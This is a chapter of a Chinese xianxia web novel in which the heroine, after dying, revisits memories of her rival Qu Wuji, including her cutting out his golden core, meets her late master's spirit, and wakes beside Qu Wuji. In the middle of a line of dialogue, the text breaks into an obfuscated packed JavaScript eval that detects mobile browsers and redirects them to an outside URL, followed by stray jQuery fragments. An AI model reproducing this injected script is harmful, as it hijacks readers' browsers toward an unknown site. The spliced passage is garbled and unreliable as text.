13. 金鳞一

作品:《强吻宿敌后她死遁了

    我又死了?!


    这是哪?


    ……好多的水。


    祭灵澈站在一片虚无中,每走一步脚下哗啦啦地响。


    冰凉的水漫过脚踝,水面上飘着蓝色的幽光。


    脚下软绵绵的,像是踏不到底,但又被稳稳托住。


    一定是又死了。


    走过这条无边的水域,就可以看到转生的入口。


    祭灵澈蹚着那温凉的水,心头笼罩一点哀默。


    又输了。


    死了两回,用尽手段,还是杀不掉无烬之渊那家伙,现在封印松动,平安观圮坏,实在不知道鸦羽剑还能把他的本体封多久。


    若叫他重见天日……到时候天下——


    她垂着头,不紧不慢地向前蹚着,盘算着铁剑镇的种种,复而自嘲一笑。


    都死了,还操心别人?


    不知过了多久,她一抬头,竟然看见半空中飘来许许多多气泡,同样泛着幽蓝的光,晶莹透亮。


    她眯着眼睛看了看,抬起手指轻轻地触碰,只听“啪”地一声,一个泡泡碎掉了,她只觉天旋地转,然后虚空而立,出现在一个烛火幽幽的阁楼,隔着一张书案,正有两位少年面对面坐着。


    祭灵澈一愣,太华玉墟的缚仙塔?!


    定睛一看才发现,其中一人竟是年少的自己——这每个泡泡都是她的一段识海?


    只见一少年端坐如松,面色冰冷,正翻着一本剑法杂论。


    少女百无聊赖,一只脚踩在椅子上。


    细看,她手上脚上竟都被缚着细细的银丝,行动不得。


    少年的祭灵澈抬起手指道:“放我走,给你一万灵石,不赊账……现货!”


    少年冷着脸,他将书刷地翻过一页,昏暗的烛光晃了晃。


    祭灵澈:……


    “这样,把缚仙索解开,我让我师兄送你一柄顶好的剑。”


    祭灵澈懒洋洋向后仰:“……剑修最重要的是什么?!勤奋?天分?错,全错!剑修最重要的是得有一柄绝世好剑!”


    “我师兄,你是知道的,你看花家家主的那柄杀湍剑帅不帅?想不想要?你把我放了,我让谈一固送你一柄差不多的。”


    ……


    可任祭灵澈如何舌灿莲花,对面的少年都置若罔闻。


    祭灵澈口干舌燥,黔驴技穷:“商徵?”


    “商徵!”


    “曲——商——”


    那个少年合上书,将书脊重重磕在案上,冷漠地看向她,终于说道:“偷盗凤凰血,杀殷家守卫百逾人。”


    “你知道自己做了什么吗?”


    她挑眉:“本来这件事神不知鬼不觉。”


    她摇了摇手上的锁扣,清脆作响:“要不是被你横插一脚,死缠着我不放,动静能闹得那么大?”


    曲无霁皱起眉,冷冷地看着她,一字一顿道:“依照仙盟律令,我该将你就地格杀。”


    祭灵澈把手放在案上,身体前倾,明明灭灭的烛火在眼中跳动,竟然带着几分天真无邪,她笑道:“那你杀了我呀,小仙督。”


    他良久道:“……若你现在就归还凤凰血,我会看在昔日故交上,向仙盟为你求情。”


    祭灵澈仰在椅子上,冷冷地勾起嘴角:“我若不呢?”


    曲无霁站起身,漠然地看着她,带着几分淡淡的愠怒:“那你就在这等待仙盟的判决吧。”


    “好自为之。”


    他拂袖向外走去,忽地,只听身后一声轻响,再一回头,只见缚仙索断成几截掉在地上,少女正靠在窗边活动手腕,随后一指曲无霁,修长的指尖忽地爆出一阵白光,偏头含笑:“机不可失失不再来,你才刚已经失去了杀掉我最好的一次机会。”


    ……


    正在识海里观影的祭灵澈天旋地转,视野崩塌,场景转换,只听风声咆哮,眼前一片鲜红,腥甜的气息涌了上来。


    她心口绞痛,心脏狂跳,这里是……


    我为峰!


    是她的师门。


    血染山峦,漫山红遍。


    尸骸遍地,皆是她的同门,此刻俱是仰面朝天,生魂俱灭。


    漂浮在识海的祭灵澈皱起眉,她极力想脱离这段回忆,可是却没有找到任何终止的办法,只能悬在一边看着。


    只见一个青年女修拖着一柄黑色长剑,浴血迟来,一步一步地从尸山血海中踏出,风带起她黑色的大氅,她抬头望向山顶——


    山顶一人长身玉立,白衣不染纤尘,负手而立,神情淡漠地向下俯瞰。


    那女修跃至山巅,长剑嗡鸣,霍然抵在那人心口,鲜血顺着额头淌进眼睛里,她语气淡淡,却近乎疯癫:“你杀了我师父。”


    那人漠然不答。


    那女修嗤笑一声,握剑的手竟在颤抖,复而又问:“也是你,率仙盟屠了我师门。”


    她漆黑的长剑往前一送,直没入那人胸口,鲜血浸透那人白衣,慢慢往下流。


    那人并指夹住剑尖,猛得拍出一掌,女修闪身跃开,笑道:“刚当上仙盟首尊,就送我这么一份大礼,够威风。”


    那人冷声开口道:“逍遥门作恶多端,咎由自取。”


    女修怒气反笑,一字一句,死在打磨话中的意味:“咎由自取?”


    “邪魔歪道,为了封印妖魔抛头颅洒热血,正人君子翩翩仙家,唯一干的事情就是趁着我们刚与妖魔血战,满门孱弱,挥刀屠山。”


    “你们仙盟是蛀虫,全天下的蛀虫!”


    远处传来阵阵喧嚣,只见金光乍起,剑光大作,仙盟百逾人御剑而来,宛若黑云压城,仙家衣冠铠甲泛着金光如金鳞绽开,山峰其下尸山血海,其上仙光斐然,而站在山顶的两人执剑相对,耳边唯逾狂风呼啸。


    曲无霁冷冷道:“再不走,你就走不了了。”


    她扬起下巴,风吹起她的发丝,一字一顿轻声道:“曲无霁,我不杀你。”


    “我会剖出你们金丹,让你永远的变成一个残废。”


    她拂袖敛去黑色的长剑,恨恨的盯着他,一步一步慢慢得往后退,她说道:“三月后,黄金台,我来找你。”


    正在半空御剑观战的仙盟众人,原本以为必然有一场血腥至极的酣战,结果发现那大邪修竟然收了剑,但新上任的首尊大人竟然负手而立,半无阻拦的意思,仙家们顿时如临大敌,以这邪修的报复心,但凡叫她跑了,世家门派必有大难!


    “快!她要跑!!”


    “万不能让这魔头跑了!”


    阵修齐齐结阵,刷地落下一道道封神阵,琴修素指拨弦,符修燃符为灰,剑修拔剑而起,霎时间灵力翻涌,山峦震动,顿时封住女修的去路,势要让她魂飞魄散!


    忽然间,天空中飘落几片黑色的雪花,似雪非雪,盘旋而下,宛若大片的鸦羽散落于空,竟然将所有攻势软绵绵地挡住——


    再看那女修,那柄乌黑的剑横于胸前,一双眼睛雪亮,像是燃着浓墨重彩的火焰,她双手握剑,刷地挥出一剑!


    “鸦羽摧城!”


    那空中飘荡的鸦羽竟然是提前迸发出的剑意,随着那道迅猛的剑光劈出,猛然间化为剑势,刷地爆发出来,瞬间摧毁了阵法,竟然将所有人全部笼罩在狂暴的剑意里。


    刷地一片鲜红淌落,仙家们顿时哭嚎逃窜,天边那边金云开始片片凋落,像是下起血雨一般,随着鸦羽剑意纵横,祭灵澈所处的识海又开始塌陷——


    ……


    场景又一转,天雷滚滚,闪电如虬枝在黑暗里蔓延,照得夜色透亮,几道天雷狂击而下,像是要将渡劫之人瞬间劈得神魂俱灭,但这雷劫竟被一道符箓给生生拦下!


    只见高台上一人银白的袍袖,跪在地上,腹部被剖开一条长长的口子,他紧紧捂着,鲜血从指缝中浸出,汗浸透衣裳,褐色的眼睛冷冷地看向对面的青年女子


    女子半蹲在他面前,离得很近,冷漠地盯着对面的人看,手上托着一颗闪光的金丹。


    她笑道:“从天才变成废物,这滋味怎么样?”


    那人看着她,一句话都没说,因为剧痛,一颗一颗泪滚珠似得往下落,大口大口地喘,可眼睛依旧是冰冷无情,此刻带着难以遮掩的仇恨。


    那女修替他擦去脸颊的泪,轻轻摸着他的脸,蹭了他一脸鲜血,一字一顿道:“首尊大人,你的仙途断了。”


    金丹被生生剖出,灵脉受损,重新修炼的痛楚无异于剜心剔骨,并且这种苦楚将永远无法消逝。


    每一次吐息,每一次灵气流转周身,都将撕裂灵脉,带来沁入骨髓的痛苦。


    自古以来,不乏有金丹被毁的修仙者选择重新踏上修炼之路,但从没有一个人能承受这种无时无刻不被撕裂的痛苦。


    那人吐出一大口血,眼中不掩分毫的憎恨盖过了苦痛,他竟然嗤笑一声,复而一字一顿轻声道:“祭灵澈。”


    “我必杀你。”


    祭灵澈手指摩擦着他嘴唇的血,贴近他,轻飘飘道:“首尊大人,你一个废人,拿什么杀我?”


    金丹没了,你不能修仙了。


    曲无霁猛地一偏头,躲过她的手,祭灵澈重重地捏住他的下巴,迫使他与自己对视。


    她的眼睛很冷,没有半点报仇雪恨的得意,是一滩深不见底的幽潭,闪电划过,照得她眸中亮光闪闪,她说:“给你指一条明路如何?”


    “来修你深恶痛绝的邪术吧,做我的门人。”


    “如此一来,没准很快青出于蓝,杀我指日可待


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002297|161813||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    呐——”


    曲无霁任血横流,嗤笑道:“我原本以为你还有一线良知,屡次三番放过你,现在才发现你真是无药可救。”


    “你是彻底的妖人,败类。”


    祭灵澈替他轻轻地封住伤口,在他耳边缓缓道:“好好活着,商徵。”


    “我还等着你来杀我呢。”


    ……


    场景中的话渐渐模糊,站在一旁观影的祭灵澈感觉急速坠落,接着她几个踉跄,又听到一阵水声,她感到一阵凉意从脚底漫上来,她睁开眼,又是那个满目漆黑,只有一点幽蓝的水域。


    那些不知何物的气泡依旧围着她飘荡。


    原来这每一个气泡都是她识海中的一段,还是关于特定某个人的。


    刚才随手点破那个,竟然是关于那家伙的。


    她不想再陷入这种无端的回忆中,她不再管那些气泡,蹚着水继续漫无目的地闲逛。


    都说人死会有回马灯,大抵就是这个意思?


    可能真的有人会戳破所有的气泡吧,祭灵澈现在只想赶紧去投胎。


    她上回死的时候可没有这一套,可能这回是真死了的缘故吧……


    正出神之际,只见前方水面上所有的蓝色幽光忽地浮起,慢慢地聚拢在一起,竟然逐渐铸出了一个人的摸样。


    祭灵澈不可置信地看着,只见人形慢慢显露,那人玄袍广袖,负手而立,几分颓唐,竟分外疏狂,带着玩世不恭的邪魅。


    祭灵澈以为自己看错了,哗啦啦地蹚着水,凑近了几步,然后愣在原地。


    那人容颜俊朗,看不出年岁,却须发皆白,看着她温和地勾唇一笑。


    祭灵澈猛地跪倒在地,一滴泪水从眼眶里啪嗒地落了下来:“师父?……”


    “师父!”她拉住那人的衣袖,死皮赖脸:“师父,我就说死了也有好处,都能再见到你了!”


    那人挑眉笑道:“混账,我可不想见你。”


    祭灵澈抬头:“啊?”


    那人拂袖道:“嘶……我让你办的事情,你办得驴唇不对马嘴,还有脸来见我?”


    祭灵澈颓然坐到地上:“师尊,我真的很努力了,连庙宇都修了四千多座,死都死了两回了,再说——”


    她笑道:“连你和花世叔都做不到的事情,我能做成这样已经很不错了。”


    那人佯怒:“混账!你跟我们这些早死了的老东西比什么?”


    “我做不到,花镠做不到,抱元做不到,你做不到就理所当然了?别在跟我东扯西扯!”


    那人虽然依旧笑着:“澜儿,不杀燃楼,妖魔迟早会倾巢而出,到时候啊——你懂的。”


    祭灵澈盘腿而坐,幽幽道:“哎,师尊,他们根本不领情的——”


    “咱们逍遥门做了这么多,结果被千夫所指,满门抄斩啊,在世人眼中咱们就是作恶多端的大邪修,骂我的人比苍蝇都多,依我看,妖魔要做什么就做什么吧,咱们还是老老实实当孤魂野鬼吧。”


    那人笑骂:“混账东西,你管别人是怎么看你?”


    他接着道:“杀掉燃楼,已然成为你心中的执念,因为失败,所以装出这副满不在乎的样子,会让你心里好受一点吗?”


    祭灵澈愣了愣,抬头看向她师父,眼睛里晶莹透亮,师父将手搭在她头上,那蓝色荧光汇聚的人形,并不能触碰到她,但她依旧感到心头一震。


    她眼眶里那滴泪终究是含不住,顺着脸颊流了下来:“师父,我动摇了。”


    那人微笑道:“辛苦你了,好孩子。”


    祭灵澈泪水滚珠似的往下落,她道:“可我再也做不到了。”


    萧弃冕伸手点在她的额头,只见他人形渐渐消弭,所有蓝色的荧光竟缓缓注入她的额间,祭灵澈一愣,只感到如坠冰窟的寒冷,好像什么东西慢慢地回到了体内,竟说不出话来。


    这个时候师父的声音回荡在她识海里:“万法皆空,因果不空,走你自己的路,只需握紧手中剑。”


    祭灵澈看到眼前人消弭殆尽,大叫道:“师尊!!”


    她猛地睁开眼,只见熏香袅袅,入眼一片雪白的帐纱。


    忽然钻心的疼痛涌了上来,尤其是识海,好像要炸掉一般难以思考,她强撑着起身,这时候帐纱忽然被撩开,她愣了愣,只见一人白衣胜雪,曦光落在他肩上,如一块无暇的美玉,手上正端着一碗药汤。


    那人冷冷地看着她:“醒了?”


    祭灵澈又躺了回去,心道,又是这个操蛋的世界。


    曲无霁道:“你刚才唤我。”


    她闭上眼睛装死,忽然感到额头一阵冰凉,猛地睁开眼,看到曲无霁坐在她身边,将冰凉的手覆在她的额间,温声道:“头还疼吗?”